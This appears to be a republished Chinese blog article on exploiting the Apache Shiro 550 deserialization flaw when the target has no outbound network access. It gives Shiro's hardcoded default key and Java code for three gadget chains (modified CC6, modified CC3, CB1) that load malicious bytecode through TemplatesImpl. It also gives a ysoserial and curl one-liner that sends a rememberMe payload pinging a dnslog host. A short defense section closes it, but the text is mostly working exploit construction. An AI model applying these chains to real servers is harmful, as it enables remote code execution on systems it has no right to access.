当前位置: 首页 > news >正文

Apache Shiro 550漏洞深度解析:3种不出网利用链(CC6/CC3/CB1)构造与对比

Apache Shiro 550漏洞不出网利用链全景解析:CC6/CC3/CB1构造与实战对比

在Java安全领域,Apache Shiro的反序列化漏洞(CVE-2016-4437)堪称经典。当目标环境不出网时,如何有效利用这个漏洞成为安全工程师面临的核心挑战。本文将深入剖析三种不出网利用链(改造CC6、改造CC3和CB1)的构造原理,提供详细的对比分析,并附上核心Payload片段。

1. Shiro 550漏洞核心机制回顾

Shiro 1.2.4及之前版本存在一个致命的设计缺陷:默认使用硬编码的AES加密密钥(kPH+bIxk5D2deZiIxcaaaA==)对RememberMe Cookie进行加密。攻击者一旦获取该密钥,便可构造恶意的序列化对象实现RCE。

关键限制条件

  • 目标服务器无法出网(无法使用JRMP等外联方式)
  • Shiro原生依赖的commons-collections版本为3.2.1
  • 反序列化过程中禁止使用数组类型的Transformer(触发ClassNotFoundException)
// 典型Shiro反序列化触发点 byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = new AesCipherService().encrypt(payload, key);

2. 不出网利用链构造原理

2.1 改造CC6链:TemplatesImpl动态加载

CC6链的核心优势在于其通用性,通过LazyMap和TiedMapEntry的巧妙组合触发命令执行。在Shiro环境下需要进行以下改造:

// 关键改造点:避免使用Transformer数组 Transformer transformer = new InvokerTransformer("newTransformer", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templatesImpl);

构造步骤

  1. 使用TemplatesImpl承载恶意字节码
  2. 通过反射设置_bytecodes_name字段
  3. 构造单Transformer的InvokerTransformer
  4. 通过TiedMapEntry触发LazyMap.get()

提示:必须清除LazyMap中残留的key,否则无法触发transform调用

2.2 改造CC3链:TrAXFilter实例化

CC3链通过InstantiateTransformer直接实例化TrAXFilter类,其改造要点如下:

Transformer transformer = new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templatesImpl} ); Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); TiedMapEntry entry = new TiedMapEntry(lazyMap, TrAXFilter.class);

技术亮点

  • 利用TrAXFilter的构造函数自动调用TemplatesImpl.newTransformer()
  • 通过反射动态修改LazyMap的factory属性
  • 避免在初始化阶段触发恶意代码

2.3 CB1链:Commons-Beanutils方案

当环境中不存在CC依赖时,Commons-Beanutils 1.x提供的方案成为救命稻草:

Comparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(templatesImpl); queue.add(templatesImpl); // 必须添加两个元素触发比较

优势对比

  • 完全不依赖commons-collections
  • 使用BeanComparator比较触发getter方法
  • 兼容性更广但构造稍复杂

3. 三种利用链横向对比

特性改造CC6链改造CC3链CB1链
依赖要求CC 3.2.1CC 3.2.1Beanutils 1.x
触发方式LazyMap.get()InstantiateTransformerBeanComparator
代码复杂度中等较高较低
成功率
适用场景标准CC环境需要绕过检测无CC依赖环境
Payload大小较大(~3000字节)中等(~2500字节)较小(~2000字节)

4. 实战Payload构造示例

4.1 CC6改造链核心代码

public static byte[] buildCC6Payload(byte[] evilCode) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilCode}); setField(templates, "_name", "Pwner"); setField(templates, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("toString", null, null); Map lazyMap = LazyMap.decorate(new HashMap(), transformer); TiedMapEntry entry = new TiedMapEntry(lazyMap, templates); HashMap map = new HashMap(); map.put(entry, "xxx"); lazyMap.clear(); setField(transformer, "iMethodName", "newTransformer"); return serialize(map); }

4.2 CB1链关键步骤

public static byte[] buildCB1Payload(byte[] evilCode) throws Exception { TemplatesImpl templates = createTemplatesImpl(evilCode); BeanComparator comparator = new BeanComparator("outputProperties"); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(templates); queue.add(templates); return serialize(queue); }

5. 防御建议与检测方案

防御措施

  1. 立即升级到Shiro 1.2.5+版本
  2. 自定义CipherKey并保持机密性
  3. 禁用RememberMe功能(配置shiro.rememberMe.enabled=false

检测方法

# 使用ysoserial检测漏洞 java -jar ysoserial.jar CommonsBeanutils1 "ping test.dnslog.cn" | \ base64 | awk '{print "rememberMe="$1}' | \ xargs curl -v -X POST --cookie

在实际渗透测试中,建议优先尝试CB1链,因其适应性最强。当遇到ClassNotFound异常时,可切换至CC6或CC3方案。记得清除测试产生的临时文件,避免对目标系统造成持久影响。

http://www.jsqmd.com/news/1155199/

相关文章:

  • 如何3分钟上手LayerDivider:AI图像智能分层工具终极指南
  • 2026年7月兰州手工玻镁岩棉硅岩净化板厂家公司综合排行最新 - 起跑123
  • C# .NET 8 WinForms 打印功能对比:PrintPreviewDialog 与 PrintPreviewControl 的3种应用场景
  • 面向对抗规避攻击的轻量化鲁棒钓鱼 URL 检测模型研究
  • Unity游戏开发实战:三大设计模式重构代码架构
  • 2026 福州晋安上门回收 LV 香奈儿名包,哪家连锁门店报价更实在?优选易奢福 - 肉松卷
  • 安徽农家乐院落景观3D墙绘整体预算
  • 虚幻引擎新手入门:从零创建并运行第一个项目全流程指南
  • L9958与PIC32MZ2048EFM100在电机控制中的优势与应用
  • 卖奢品怕套路砍价?青岛万象城逸程奢侈品回收,市南区透明交易不压价 - 全城热点
  • 告别“单点突围”,2026年全案营销服务商选型指南 - 资讯快报
  • TDA7468与STM32F722VE构建高性能音频处理系统
  • TPIS1S1385红外热电堆传感器在智能家居中的应用
  • Jade 9.0正版授权与Win7系统兼容性深度指南
  • 3分钟掌握UniRig自动骨骼绑定:让3D模型真正“活“起来的终极指南
  • 3PEAK思瑞浦 TP1941U-CR SOT353 比较器
  • 银川考研机构哪家好?拒绝“名师”噱头,3个黄金标准选对方向
  • Kali Linux 2026.2 国内镜像源配置:阿里云/中科大实测 3 步提速 10 倍
  • Chrome内置AI开发指南:从零构建本地化AI翻译扩展
  • NanoHTTPD vs Jetty vs Undertow:3款Java轻量HTTP服务器并发性能对比
  • 2026郴州黄金回收白银回收铂金回收工商备案可查全城上门回收旧金老店联系方式推荐
  • MAX77654与STM32F407ZG的嵌入式电源管理方案
  • TB67H480FNG与PIC18F4515在步进电机控制中的优化应用
  • 2026 年 7月浙江研究生自主招生专业盘点 浙江万里学院特色读研方向推荐
  • 提取字幕免费版真的够用吗 - 2026实测后整理出清晰实用结论
  • PyTorch 2.3 实现多头自注意力:从 QKV 计算到 8 头并行推理代码详解
  • TB6593FNG与PIC18F87K22的直流电机驱动方案
  • 拒绝隐形扣费!广州正规黄金回收渠道甄选与合扬避坑 - 开心测评
  • 杭州2026年7月如何分辨正规奢品回收 避坑干货全部整理 - 每日生活报
  • AI多智能体审稿框架PAT:从数学推导到实验设计的自动化论文质量检测